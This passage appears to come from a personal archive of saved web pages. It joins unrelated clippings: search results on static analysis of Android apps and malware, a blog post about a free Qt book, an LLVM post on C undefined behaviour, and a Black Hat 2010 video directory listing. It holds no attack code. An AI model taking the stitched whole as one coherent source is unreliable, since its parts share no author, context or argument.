We built Stowaway, a _static analysis_ tool that detects overprivilege in
compiled _Android applications_. Stowaway determines the set of API calls that
an **…**

  44. ### Seven Ways to Hang Yourself with Google _Android_ – Fortify
https://www.fortify.com/fortify/…/Google\_**Android** \_WaystoHang – Cached  
According to Google, _Android_ was designed to give mobile developers “an
**…** experienced when applying _static analysis_ to real-world _Android
applications_. **…**

  45. ### Analyzing _Android_ Malware | securitybananas.com
securitybananas.com/?p=574 – Cached

| 17 May 2011 – Each _Android application_ is compiled and packaged in a
single file that **…** but we know from our _static analysis_ that after
activating this _app_ it will **…**  
---|---  
  46. ### _Android_ 向 クラッキング防止セキュリティソフト Crack Proof for _Android_ **…**
en.crackproofand.biz/ – Cached  
CrackProof for _Android_ strongly protects _Android applications_ from
cracking by _static analysis_ and dynamic analysis based on tamper resistant
technology **…**

  47. ### _Android_ Malware, Permissions, and Side Channels – On the road to **…**
javacard.vetilles.com/…/**android** -malware-permissions-and-side-cha… –
Cached  
29 Jan 2011 – In that particular case, the use of two collaborating
_applications_ is a way to **…** I have worked on information flow _static
analysis_ , and we haven’t **…**

  48. ### Mobile _Apps_ Invading Your Privacy
www.veracode.com/blog/2011/…/mobile-**apps** -invading-your-priva… – Cached  
5 Apr 2011 – We followed up the automated _static analysis_ with a manual
analysis of **…** The Pandora for _Android application_ appears to be
integrated with a **…**

  49. ### Automated _Static_ Code _Analysis_ for Classifying _Android_ **…** – IEEE
ieeexplore.ieee.org › Browse › Conferences › Computational Intelligence and  
20 Jan 2011 – Automated _Static_ Code _Analysis_ for Classifying _Android
Applications_ Using Machine Learning. 5696292 abstract; Download Citations;
Email **…**

  50. ### Code Development and _Software_ Quality Assurance | Coverity
www.coverity.com/ – Cached  
Source code analysis leader – Coverity Inc **…** Over 65% say _software_
defects impact customer satisfaction **…** A Closer Look at the _Android_
Kernel **…** and Nuances; 2011-07-19 Electronic Design – Can _Static Analysis_
Address Security Issues? **…**

  51. ### Coverity Scan Site : Accelerating Open Source _Software_ Integrity
scan.coverity.com/ – Cached  
“Coverity’s _static_ source code _analysis_ has proven to be an effective step
**…**

Show more results from coverity.com

  52. ### Publications
siis.cse.psu.edu/ded/publications.html – Cached  
We introduce the ded decompiler, which recovers _Android application_ source
code **…** _applications_ based on _static analysis_ of 21 million lines of
recovered code. **…**

  53. ### bib – Pennsylvania State University
siis.cse.psu.edu/ded/ded\_bib.html – Cached  
Built for the _Android_ mobile phone platform, we reverse engineer downloaded
**…**

Show more results from psu.edu

  54. ### appsec – Any useful tools for _Android_ source code review? – IT **…**
security.stackexchange.com/…/any-useful-tools-for-**android** -source-… –
Cached  
3 answers – 5 Jun  
Be sure to check out The Denim Group’s blog post on Using _static analysis_ to
review file access in _android apps_ , which includes some tools **…**

  55. \[PDF\]  

### Curbing _Android_ Permission Creep

w2spconf.com/2011/papers/curbingPermissionCreep.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by T Vidas – Cited by 2 – Related articles  
Abstract—The _Android_ platform has about 130 _application_ **…** The tool
analyzes _application_ source **….** After the _static analysis_ completes,
both permissions that **…**

  56. ### Use of _Static Analysis_ on _Android_ Code – _android_ -discuss
**android** discuss.com/1-**android** -discuss/40801.html – Cached  
18 Aug 2010 – I would love to have access to a Findbugs configuration that is
suitable for scanning _Android app_ code. > Use of _Static Analysis_ on
_Android_ **…**

  57. ### Python, JRuby on the _Android_ Platform in 10 Steps » By Matthew **…**
www.thebitsource.com/…**software** …/**android** /python-jruby-on-the-**a** …
– Cached  
19 Feb 2011 – Web Development | Mobile | _Software_ Design | Los Angeles **…** How will this affect code security and _static analysis_ that Google most likely does **…**
  58. \[PDF\]  

### Mobile Malware Madness and How to Cap the Mad Hatters

https://media.blackhat.com/…/BH\_US\_11\_Daswani\_Mobile\_Malware\_Slide…  
File Format: PDF/Adobe Acrobat – Quick View  
_Android Applications_ Requesting/Leaking IMEI. Percent. Source: Dasient
\(n=10000\). • _Static analysis_ approaches would only identify that IMEI was
requested **…**

  59. ### Development Tips When Looking For _Android App_ Developers **…**
www.**androidapp** developer.net/**android** -**app** …/development-tips-wh… –
Cached  
24 Jun 2011 – Java, which is the basis of all _Android apps_ , imparts itself
to compiler warnings that in turn are based on _static analysis_. And any bug
or error **…**

  60. \[PDF\]  

### Putting the Smart in Smartphones: Security Testing Mobile **…**

www.**apps** eceu.org/…/Dan%20Cornell%20-…  
File Format: PDF/Adobe Acrobat – Quick View  
Let’s Take Apart Some _Apps_ : _Android_. • Example of _static_ binary
_analysis_. • _Application_ structure. – _AndroidManifest_.xml. – assets/. –
res/. – classes.dex **…**

  61. \[PDF\]  

### A Study of _Android Application_ Security

www.enck.org/pubs/enck-sec11.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by W Enck – Cited by 9 – Related articles  
piler, which recovers _Android application_ source code directly from its
**…** on _static analysis_ of 21 million lines of recovered code. Our analysis
uncovered **…**

  62. ### _Android_ Code at Risk? – eSecurity Planet
www.esecurityplanet.com/news/article…/**Android** -Code-at-Risk.htm – Cached  
1 Nov 2010 – New report from _static analysis_ vendor Coverity scans the
_Android_ code base and finds a pile of common _software_ defects, though the
defect **…**

  63. ### Using _Static Analysis_ to Review File Access in _Android Apps_ **…**
digg.com/…/using\_**static** \_**analysis**
\_to\_review\_file\_access\_in\_**android** \_**apps** …  
By Dan Cornell The _Android_ platform does some clever things to firewall
_apps_ off from one another. One of the important protections the platform
provides is **…**

  64. ### Using _Static Analysis_ to Review File Access in _Android Apps_ **…**
www.stumbleupon.com/…/using-**static** -**analysis** -to-review-file-access… –
Cached  
20 Apr 2011 – Using _Static Analysis_ to Review File Access in _Android Apps_
– Denim Group, Ltd. Blog – StumbleUpon.

  65. ### Agnitio and Mobile _Apps_ | Security Ninja
www.securityninja.co.uk/**application** …/agnitio-and-mobile-**apps** / –
Cached  
16 Aug 2011 – Dan has given several mobile _application_ security
presentations over the **…** /04/using-_static_ -_analysis_ -to-review-file-
access-in-_android_ -_apps_.html **…**

  66. ### _Android_ Developers Blog: Memory _Analysis_ for _Android Applications_
**android** -developers.blogspot.com/…/memory-**analysis** -for-**android**.h…
– Cached  
24 Mar 2011 – Memory _Analysis_ for _Android Applications_ · _Application_
Stats on _Android_ Market **….** At the top of the class, let’s add a new
_static_ variable: **…**

  67. ### _android_ -assault – _Android_ APK-Specific _Static Analysis_ UI **…**
code.google.com/p/**android** -assault/  
_Android_ APK-Specific _Static Analysis_ UI Leveraging Tool :: GSOC 2011 **…**
Because PyQT provides a complete interface to QT _applications_ and python can
**…**

  68. ### Automated _Static_ Code _Analysis_ for Classifying _Android Applications_ **…**
www.computer.org/portal/web/csdl/doi/10.1109/CIS.2010.77 – Cached  
by A Shabtai – 2010 – Related articles  
In this paper we apply Machine Learning \(ML\) techniques on _static_ features
that are extracted from _Android’s application_ files for the classification
of the files.

  69. \[PDF\]  

### A Study of _Android Application_ Security

www.usenix.org/events/sec11/tech/slides/enck.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by W Enck – 2011 – Cited by 9 – Related articles  
Studying _Apps_. • Decompiled top 1100 free _apps_ from _Android_ market: over
21 million lines of source code. • We use _static analysis_ to identify both
dangerous **…**

  70. \[PDF\]  

### Crowdroid: Behavior-Based Malware Detection System for _Android_

www.ida.liu.se/~rtslab/publications/2011/spsm11-burguera.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by I Burguera – 2011  
analysis on _Android applications_. _Static analysis_ scans _Android_ source
code to detect Malware patterns. Dynamic analysis executes and monitors
_Android_ **…**

  71. ### _Static Analysis of Android Programs_
www.springerlink.com/index/8878K95474W6Q65Q.pdf  
by É Payet – 2011 – Related articles  
_Static Analysis of Android Programs_. Étienne Payet1 and Fausto Spoto2. 1.
LIM-IREMIA, Université de la Réunion, France. 2. Dipartimento di Informatica
**…**

  72. ### _Android_ Dalvik VM performance is a threat to the iPhone | java rants
www.javarants.com/…/**android** -dalvik-vm-performance-is-a-threat-t… – Cached  
26 May 2010 – This wouldn’t be that big a deal if _Android software_ wasn’t
already **…..** A dispatch that passes _static analysis_ and can be inlined IS
inlined. **…**

  73. ### See you at Devoxx with _Android_ and Maven | Java.net
www.java.net/blog/…/2011/…/see-you-devoxx-**android** -and-maven – Cached  
6 days ago – My proposal for a Devoxx talk about the powerful Maven _Android_
Plugin, **…** practices, such as Continuous Integration, _static analysis_ ,
test coverage? **…** whatever you need for creating and testing _Android apps_
– and you’ll be **…**

  74. ### Midterm Report: Project.6 _Static Analysis of Android_ Malware | 中国 **…**
– \[ Translate this page \] www.honeynet.org.cn/?p=147 – Cached  
2011年7月 8日 – What’s more, Qt supports cross platform _applications_. Figure 1:
The main _Android Static Analysis_ UI window. The above Figure 1 is the main
**…**

  75. ### _Static Analysis_ of Executables for Collaborative Malware Detection **…**
academic.research.microsoft.com/…/**static** -**analysis** -of-executables-fo…
– Cached  
First, we perform _static analysis_ on the executables to extract their
function calls **…** and library functions for comparing malware with benign
_software_ on _Android_. **…**

  76. \[PDF\]  

### Smartphones \(_Android_\) in Wars: _Software_ Assurance Challenges

csrc.nist.gov/groups/SMA/…/NIST-Mobile-**App** -Security-Voas-081111.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
_Application Static Analysis_ does not cover. Program Functionality. Fortify,
Coverity, and other _application_ testing tools cover regular, non-_Android_
specific Bugs: **…**

  77. ### CiteULike: An _Android Application_ Sandbox system for suspicious **…**
www.citeulike.org/user/zafkazmi/article/8480528 – Cached  
In this paper, we propose an _Android Application_ Sandbox \(AASandbox\) which
is able to perform both _static_ and dynamic _analysis_ on _Android programs_
to **…**

  78. \[PDF\]  

### Analyzing and Dissecting _Android Applications_ for Security defects **…**

www.net-security.org/dl/articles/Blueinfy\_Rushil\_Sc**anDroid** \_Paper.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
operation along with applying _static_ code _analysis_ on both object and
source code. This article introduces ScanDroid for _Android applications_ ,
using Ruby code **…**

  79. \[PDF\]  

### Applying Assurance Techniques to a Mobile Phone _Application_

www.avantssar.eu/sectest2011/pdfs/Krishnan.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by P Krishnan – Related articles  
spection and _static analysis_. This process is illustrated using an
_application_ for the _Android_ platform. 1. Motivation. Modern mobile phones
are not very different **…**

  80. ### _application_ security : SOURCE Conference Blog
www.sourceconference.com/blog/?cat=88 – Cached

| Hacking _Androids_ for Profit – Riley Hassell & Shane Macaulay: A discussion
on **…** Is it possible to apply _static analysis_ to the wide range of
_software_ assurance **…**  
---|---  
  81. \[PDF\]  

### REMEDY OPEN API JAR FILE _ANALYSIS_ WITH OBJECTIVE OF **…**

www.touchar.me/…/**android** /TECHNICAL\_NOTE\_BMC\_Jar\_**Analysis** \_for…  
File Format: PDF/Adobe Acrobat – View as HTML  
on an _Android_ mobile device within a test _App_. This partially successful
work is described below. Formal _Static Analysis_ and “Shrinking” Using
ProGuard **…**

  82. ### Mobile _Application_ Security Code Reviews
www.slideshare.net/…/mobile-**application** -security-code… – United States –
Cached  
Slides from the Mobile _Application_ Security Code Review short course at the
**…** _Android Static Analysis_ for Storage Issues • _Android_ -specific
functions for file **…**

  83. ### _Static_ code _analysis_ with Rational _Software_ Analyzer « Scottyab’s blog
www.alexander-bown.com/…/**static** -code-**analysis** -with-rat… – Cached

| 17 Feb 2011 – _Static_ code _analysis_ with Rational _Software_ Analyzer. I struggled to find time**…** Clean Code in _Android Applications_ | SpringSource Team Blog **…**  
---|---  
  84. ### Angel Alonso \(Angelill0\) on Twitter
twitter.com/angelill0 – Cached  
**…** tool for _static analysis of Android_ malware is ready for…
http://bit.ly/pA94NC 8:00 PM Jul**…** It keeps all the data/_applications_
/configuration 11:29 AM Jul 24th via **…**

  85. ### On Target: Embedded Systems: _Android_
blog.vdcresearch.com/embedded\_sw/**android** / – Cached  
Currently, the commercial market for _Android_ related _software_ solutions is
still in its **….**_Static analysis_ tool vendor GrammaTech announced a new
sophisticated **…**

  86. ### New Free Tools Simplify _Analysis Of Android_ Malware **…**
virusfreephone.com/…/new-free-tools-simplify-**analysis-of-android** -malwar…  
7 minutes ago – The IDA Pro product recently added a _static analysis_
component for the **…** only free and open-source tool that does this for
_Android applications_. **…**

  87. ### FUSE: Inter-_Application_ Security for _Android_ | SBIR.gov
www.sbir.gov/sbirsearch/detail/4753 – Cached  
FUSE will operate by performing a _static analysis_ of each _application’s_
configuration and byte code before that _application_ is installed on an
_Android_ platform. **…**

  88. ### AndTruss2D – _Android app_ on AppBrain
www.appbrain.com › All apps › Productivity – Cached  
AndTruss2D: _Android app_ \(★★★★★, 500 downloads\) ⇒ AndTruss2D is a useful
**…** mechanical engineers, architects etc\) It is used for linear _static
analysis_ of **…**

  89. ### Google: Spyware Found, Removed from _Android_ Market | threatpost
https://threatpost.com/…/google-spyware-found-removed-**android** -… – Cached  
13 Jun 2011 – Ten _Android apps_ in the Official _Android_ Market are known to
infected, **…** In this way, the payload evades _static analysis_ and is
difficult to detect. **…**

  90. ### SecurityXploit: _Android_
securityxploit.blogger.de/topics/**Android** – Cached  
The GUI tool for _static analysis of Android_ malware is ready for an alpha
release. **…** Once installed, the trojan masquerades as an online banking
activation _app_. **…**

  91. \[PDF\]  

### Mining Interactions of _Android Applications_

www.informatik.uni-leipzig.de/~berger/tr/2011-dienst-**android**.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by S Dienst – Related articles  
_Android Applications_. _Static Analysis_ of Dalvik Bytecode. -Technical Note-
preliminary version. Steffen Dienst1 and Thorsten Berger1. University of
Leipzig **…**

  92. ### RPISEC presents: Stephen Ridley on _Android_ Malware | Facebook
www.facebook.com/event.php?eid=120866814659390 – Cached  
From there the talk will go into tools and techniques for decompiling _Android
applications_. I will also discuss some _static analysis_ techniques \(that I
have not yet **…**

  93. \[PDF\]  

### Jaeho Shin 2010-10-01 ROPAS Show&Tell

ropas.snu.ac.kr/~netj/talk/2010/1001.mobile-security.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
1 Oct 2010 – _Static Analysis_ Ideas **…** Mobile _Apps_. User. Developer.
_App_ runs written by **…** _App_. 1. tries to install. _Android_. 3. allows
privileged operations to **…**

  94. \[PDF\]  

### _Analysis_ of Dalvik Virtual Machine and Class Path Library

imsciences.edu.pk/serg/wp-content/uploads/…/**Analysis** -of-Dalvik-VM.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
_Analysis_ of Dalvik Virtual Machine and Class Path Library iv **….** 1.4
Average _Applications_ Downloads Comparison for _Android_ and iPhone. 5. 3.1
Dex File Anatomy \[6\]. **…..** Absolute offset of _static_ field list. 0×14.
4. Absolute offset of instance field **…**

  95. ### _Android_ Kernel Security Above Average, Below Linux – _Software_ **…**
www.informationweek.com/news/**software** /infrastructure/228100092 – Cached  
3 Nov 2010 – An _analysis_ of the _Android_ kernel on an HTC Droid Incredible
reveals about half as many _software_ defects as expected, according to a
report **…**

  96. ### Using _Static Analysis_ For _Software_ Defect Detection | About Mobility
weblog.cenriqueortiz.com/…/using-**static** -**analysis** -for-**software**
-defe… – Cached  
18 Apr 2008 – A very good presentation Using _Static Analysis_ For _Software_
Defect **…** who are interested in _Android_ OS and _application software_
development. **…**

  97. \[PDF\]  

### Penetration Testing for iPhone / iPad _Applications_

www.mcafee.com/us/…/wp-pen-testing-iphone-ipad-**apps**.pdf – United States  
File Format: PDF/Adobe Acrobat  
more attention, with the introduction of the _Android_ , iPhone, and iPad
**…..** _Static Analysis_ for the _applications_ could be performed using free
tools such as **…**

  98. ### forensic blog
forensics.spreitzenbarth.de/ – Cached  
This project will develop a sandbox in terms of a automated malware analysis
_software_ for the _Android_ OS. The first version which will only allow
_static analysis_ **…**

  99. ### Fast and Easy Automated Testing for **…** – Engineering _Software_ Lab ltd
www.eswlab.com/info.asp?cid=589 – Israel – Cached  
_Static_ Code _Analysis_. Armorize **…** PVS-Studio _Static_ Code _Analyzer_
for 64-bit and parallel code **….** Fast and Easy Automated Testing for
_Android_ and iOS _Apps_ **…**

  100. \[PDF\]  

### “These Aren’t the Droids You’re Looking For”

**app** fence.org/**app** fence.pdf  
File Format: PDF/Adobe Acrobat – Quick View  
by P Hornyack – Related articles  
5 Apr 2011 – The problem is not unique to _Android_. Egele et al. used _static
analysis_ to track information flow in popular iPhone _ap_ \- plications and
discovered **…**

### Share this:

  *   * Share
  *   *   * 

### Like this:

★Like

Be the first to like this.

### 2 responses to this post.

  1. <img src='img/Temp2_7700.jpg' width='30' height='30' />
Posted by desnos \(@adesnos\) on September 1, 2011 at 5:48 pm

Hi,

very useful links.

Maybe you can add the following links :  
http://code.google.com/p/androguard/wiki/DatabaseAndroidMalwares  
http://code.google.com/p/androguard/wiki/Similarity  
https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B5j6gkONHJd7ZGQ2ZjJiNGMtNDgzMi00Nzg4LWIzNzUtMGY1NjljNDU5NDkw&hl=en

http://androguard.blogspot.com  
http://code.google.com/p/androguard/

# Qt Book Download: C++ GUI Programming with Qt 4 Second Edition by Jasmin
Blanchette and Mark Summerfield \(Prentice Hall\) « DCSoft blog

**Created:**| _3/30/2011 5:55:31 AM_  
---|---  
**Updated:**| _3/30/2011 5:55:43 AM_  
**Author:**| __  
**Tags:**| _C++ programming qt awesome_  
  

## Qt Book Download: C++ GUI Programming with Qt 4 Second Edition by Jasmin
Blanchette and Mark Summerfield \(Prentice Hall\)

By dcsoft

<img src='img/Temp2_6544.png' width='150' height='201' />

Let me tell you, this is my kind of book. On page 3 it has this listing:

\#include <QApplication>  
\#include <QLabel>

int main\(int argc, char \*argv\[\]\)  
\{  
QApplication app\(argc, argv\);  
QLabel \*label = new QLabel\(“Hello Qt\!”\);  
label->show\(\);  
return app.exec\(\);  
\}

This opens a popup window with a label in it.

Then on page 5, it says to show bigger text with “Hello” in italics and Qt in
red, replace

QLabel \*label = new QLabel\(“Hello Qt\!”\);

with

QLabel \*label = new QLabel\(“<h2><i>Hello</i> <font
color=red>Qt\!</font></h2>”\);

That’s right. Labels can have HTML formatted text in them\!

The next page shows 11 lines of code to create a button that exits the app
when pushed.

When I first started reading this book while waiting for my dinner to arrive,
I thought to myself, this Qt thing is right up my alley. And this book is also
right up my alley, the pragmatic, no nonsense introduction to a pragmatic, no-
nonsense C++ application framework. There’s a reason why it is required
reading for new hires at Nokia….

**Best of all, it’s FREE\!** Published under the Open Publication License, it
is perfectly legal to distribute. It’s currently hosted on the dcsoft.com
website here: download, but no guarantees if I will have to take it down if my
bandwidth gets used up\! You can always download thetorrent. But it’s such a
good read, I recommend you purchase a hard copy.

Edit April 25, 2009: The book’s source code is available for download from
InformIt.

* * *
**Possibly related posts: \(automatically generated\)**

  * QT mingw gcc 3.4.2 problem
  * Toys: cpusoak and memsoak
  * Hello World

# LLVM Project Blog: What Every C Programmer Should Know About Undefined
Behavior \#1/3

**Created:**| _5/15/2011 7:45:51 PM_  
---|---  
**Updated:**| _5/15/2011 7:45:51 PM_  
**Author:**| __  
**Tags:**| _programming llvm_  
  

### What Every C Programmer Should Know About Undefined Behavior \#1/3

People occasionally ask why LLVM-compiled code sometimes generates SIGTRAP
signals when the optimizer is turned on. After digging in, they find that
Clang generated a "ud2" instruction \(assuming X86 code\) - the same as is
generated by \_\_builtin\_trap\(\). There are several issues at work here, all
centering around undefined behavior in C code and how LLVM handles it.  
  
This blog post \(the first in a series of three\) tries to explain some of
these issues so that you can better understand the tradeoffs and complexities
involved, and perhaps learn a few more of the dark sides of C. It turns out
that C is _not_ a "high level assembler" like many experienced C programmers
\(particularly folks with a low-level focus\) like to think, and that C++ and
Objective-C have directly inherited plenty of issues from it.  
  
  

## Introduction to Undefined Behavior

  
Both LLVM IR and the C programming language have the concept of "undefined
behavior". Undefined behavior is a broad topic with a lot of nuances. The best
introduction I've found to it is a post on John Regehr's Blog. The short
version of this excellent article is that many seemingly reasonable things in
C actually have undefined behavior, and this is a common source of bugs in
programs. Beyond that, any undefined behavior in C gives license to the
implementation \(the compiler and runtime\) to produce code that formats your
hard drive, does completely unexpected things, or worse. Again, I would highly
recommend reading John's article.  
  
Undefined behavior exists in C-based languages because the designers of C
wanted it to be an extremely efficient low-level programming language. In
contrast, languages like Java \(and many other 'safe' languages\) have
eschewed undefined behavior because they want safe and reproducible behavior
across implementations, and willing to sacrifice performance to get it. While
neither is "the right goal to aim for," if you're a C programmer you really
should understand what undefined behavior is.  
  
Before getting into the details, it is worth briefly mentioning what it takes
for a compiler to get good performance out a broad range of C apps, because
**there is no magic bullet**. At a very high level, compilers produce high
performance apps by a\) doing a good job at bread and butter algorithms like
register allocation, scheduling, etc. b\) knowing lots and lots of "tricks"
\(e.g. peephole optimizations, loop transformations, etc\), and applying them
whenever profitable. c\) being good at eliminating unnecessary abstractions
\(e.g. redundancy due to macros in C, inlining functions, eliminating
temporary objects in C++, etc\) and d\) not screwing anything up. While any of
the optimizations below may sound trivial, it turns out that saving just one
cycle out of a critical loop can make some codec run 10% faster or take 10%
less power.  
  

## Advantages of Undefined Behavior in C, with Examples

  
Before getting into the dark side of undefined behavior and LLVM's policy and
behavior when used as a C compiler, I thought it would be helpful to consider
a few specific cases of undefined behavior, and talk about how each enables
better performance than a safe language like Java. You can look at this either
as "optimizations enabled" by the class of undefined behavior or as the
"overhead avoided" that would be required to make each case defined. While the
compiler optimizer could eliminate some of these overheads some of the time,
to do so in general \(for every case\) would require solving the halting
problem and many other "interesting challenges".  
  
It is also worth pointing out that both Clang and GCC nail down a few
behaviors that the C standard leaves undefined. The things I'll describe are
both undefined according to the standard and treated as undefined behavior by
both of these compilers in their default modes.  
  
**Use of an uninitialized variable:** This is commonly known as source of
problems in C programs and there are many tools to catch these: from compiler
warnings to static and dynamic analyzers. This improves performance by not
requiring that all variables be zero initialized when they come into scope
\(as Java does\). For most scalar variables, this would cause little overhead,
but stack arrays and malloc'd memory would incur a memset of the storage,
which could be quite costly, particularly since the storage is usually
completely overwritten.  
  
**Signed integer overflow:** If arithmetic on an 'int' type \(for example\)
overflows, the result is undefined. One example is that "INT\_MAX+1" is not
guaranteed to be INT\_MIN. This behavior enables certain classes of
optimizations that are important for some code. For example, knowing that
INT\_MAX+1 is undefined allows optimizing "X+1 > X" to "true". Knowing the
multiplication "cannot" overflow \(because doing so would be undefined\)
allows optimizing "X\*2/2" to "X". While these may seem trivial, these sorts
of things are commonly exposed by inlining and macro expansion. A more
important optimization that this allows is for "<=" loops like this:  
  

[code]

    for (i = 0; i <= N; ++i) { ... }
    
[/code]

  
In this loop, the compiler can assume that the loop will iterate exactly N+1
times if "i" is undefined on overflow, which allows a broad range of loop
optimizations to kick in. On the other hand, if the variable is defined to
wrap around on overflow, then the compiler must assume that the loop is
possibly infinite \(which happens if N is INT\_MAX\) - which then disables
these important loop optimizations. This particularly affects 64-bit platforms
since so much code uses "int" as induction variables.  
  
It is worth noting that unsigned overflow is guaranteed to be defined as 2's
complement \(wrapping\) overflow, so you can always use them. The cost to
making signed integer overflow defined is that these sorts of optimizations
are simply lost \(for example, a common symptom is a ton of sign extensions
inside of loops on 64-bit targets\). Both Clang and GCC accept the "-fwrapv"
flag which forces the compiler to treat signed integer overflow as defined
\(other than divide of INT\_MIN by -1\).  
  
**Oversized Shift Amounts:** Shifting a uint32\_t by 32 or more bits is
undefined. My guess is that this originated because the underlying shift
operations on various CPUs do different things with this: for example, X86
truncates 32-bit shift amount to 5 bits \(so a shift by 32-bits is the same as
a shift by 0-bits\), but PowerPC truncates 32-bit shift amounts to 6 bits \(so
a shift by 32 produces zero\). Because of these hardware differences, the
behavior is completely undefined by C \(thus shifting by 32-bits on PowerPC
could format your hard drive, it is **\*not\*** guaranteed to produce zero\).
The cost of eliminating this undefined behavior is that the compiler would
have to emit an extra operation \(like an 'and'\) for variable shifts, which
would make them twice as expensive on common CPUs.  
  
**Dereferences of Wild Pointers and Out of Bounds Array Accesses:**
Dereferencing random pointers \(like NULL, pointers to free'd memory, etc\)
and the special case of accessing an array out of bounds is a common bug in C
applications which hopefully needs no explanation. To eliminate this source of
undefined behavior, array accesses would have to each be range checked, and
the ABI would have to be changed to make sure that range information follows
around any pointers that could be subject to pointer arithmetic. This would
have an extremely high cost for many numerical and other applications, as well
as breaking binary compatibility with every existing C library.  
  
**Dereferencing a NULL Pointer:** contrary to popular belief, dereferencing a
null pointer in C is undefined. It is _not defined to trap_ , and if you mmap
a page at 0, it is _not defined to access that page_. This falls out of the
rules that forbid dereferencing wild pointers and the use of NULL as a
sentinel. NULL pointer dereferences being undefined enables a broad range of
optimizations: in contrast, Java makes it invalid for the compiler to move a
side-effecting operation across any object pointer dereference that cannot be
proven by the optimizer to be non-null. This significantly punishes scheduling
and other optimizations. In C-based languages, NULL being undefined enables a
large number of simple scalar optimizations that are exposed as a result of
macro expansion and inlining.  
  
If you're using an LLVM-based compiler, you can dereference a "volatile" null
pointer to get a crash if that's what you're looking for, since volatile loads
and stores are generally not touched by the optimizer. There is currently no
flag that enables random NULL pointer loads to be treated as valid accesses or
to make random loads know that their pointer is "allowed to be null".  
  
**Violating Type Rules:** It is undefined behavior to cast an int\* to a
float\* and dereference it \(accessing the "int" as if it were a "float"\). C
requires that these sorts of type conversions happen through unions: using
pointer casts is not correct and undefined behavior results. The rules for
this are quite nuanced and I don't want to go into the details here \(there is
an exception for char\*, vectors have special properties, unions change
things, etc\). This behavior enables an analysis known as "Type-Based Alias
Analysis" \(TBAA\) which is used by a broad range of memory access
optimizations in the compiler, and can significantly improve performance of
the generated code. For example, this rule allows clang to optimize this
function:  
  

[code]

    float *P;
     void zero_array() {
       int i;
       for (i = 0; i < 10000; ++i)
         P[i] = 0.0f;
     }
    
[/code]

  
into "`memset(P, 0, 40000)`". This optimization also allows many loads to be
hoisted out of loops, common subexpressions to be eliminated, etc. This class
of undefined behavior can be disabled by passing the -fno-strict-aliasing
flag, which disallows this analysis. When this flag is passed, Clang is
required to compile this loop into 10000 4-byte stores \(which is several
times slower\), because it has to assume that it is possible for any of the
stores to change the value of P, as in something like this:  
  

[code]

    int main() {
      P = (float*)&P;  // cast causes TBAA violation in zero_array.
      zero_array();
    }
    
[/code]

  
This sort of type abuse is pretty uncommon, which is why the standard
committee decided that the significant performance wins were worth the
unexpected result for "reasonable" type casts. It is worth pointing out that
Java gets the benefits of type-based optimizations without these drawbacks
because it doesn't have unsafe pointer casting in the language at all.  
  
Anyway, I hope that this gives you an idea of some of the classes of
optimizations enabled by undefined behavior in C. There are many other kinds
of course, including sequence point violations like "foo\(i, ++i\)", race
conditions in multithreaded programs, violating 'restrict', divide by zero,
etc.  
  
In our next post, we'll discuss why undefined behavior in C is a pretty scary
thing if performance is not your only goal. In our final post in the series,
we'll talk about how LLVM and Clang handle it.  
  
-Chris Lattner

# Intro to Embedded Reverse Engineering for PC reversers

**Created:**| _8/29/2010 7:44:52 AM_  
---|---  
**Updated:**| _8/29/2010 7:45:37 AM_  
**Author:**| __  
**Tags:**| _iDA reversing conference-material Firmware_  
  
<img src='img/Temp2_4503' />

# Index of /dl/bd/blackhat-2010-usa-video

**Created:**| _9/16/2010 9:59:31 AM_  
---|---  
**Updated:**| _9/16/2010 9:59:45 AM_  
**Author:**| __  
**Tags:**| _bookmark video conference-material_  
  

# Index of /dl/bd/blackhat-2010-usa-video

[code]

    <img src='img/Temp2_4405.gif' alt='Icon ' /> Name                    Last modified      Size  Description
    
[/code]

* * *
[code]

    <img src='img/Temp2_4407.gif' alt='[DIR]' /> Parent Directory                             -   
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_bc1.mov          02-Sep-2010 23:31  202M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_bc2.mov          02-Sep-2010 23:22  126M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_bc3.mov          02-Sep-2010 23:49  203M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_bc4.mov          02-Sep-2010 23:53  164M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_bc5.mov          03-Sep-2010 00:20  252M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_bp1.mov          03-Sep-2010 00:19  209M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_bp2.mov          03-Sep-2010 00:50  256M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_bp3.mov          03-Sep-2010 00:39  150M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_bp4.mov          03-Sep-2010 01:10  255M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_bp5.mov          03-Sep-2010 01:12  184M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cs1.mov          03-Sep-2010 01:29  165M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cs2.mov          03-Sep-2010 01:37  202M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cs3.mov          03-Sep-2010 01:53  195M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cs4.mov          03-Sep-2010 02:09  267M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cs5.mov          03-Sep-2010 02:11  153M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cv1.mov          03-Sep-2010 02:35  216M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cv2.mov          03-Sep-2010 02:39  232M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cv3.mov          03-Sep-2010 02:58  198M  
    <img src='img/Temp2_4408.gif' alt='[VID]' /> 10_bhb_cv4.mov          03-Sep-2010 03:11  266M  
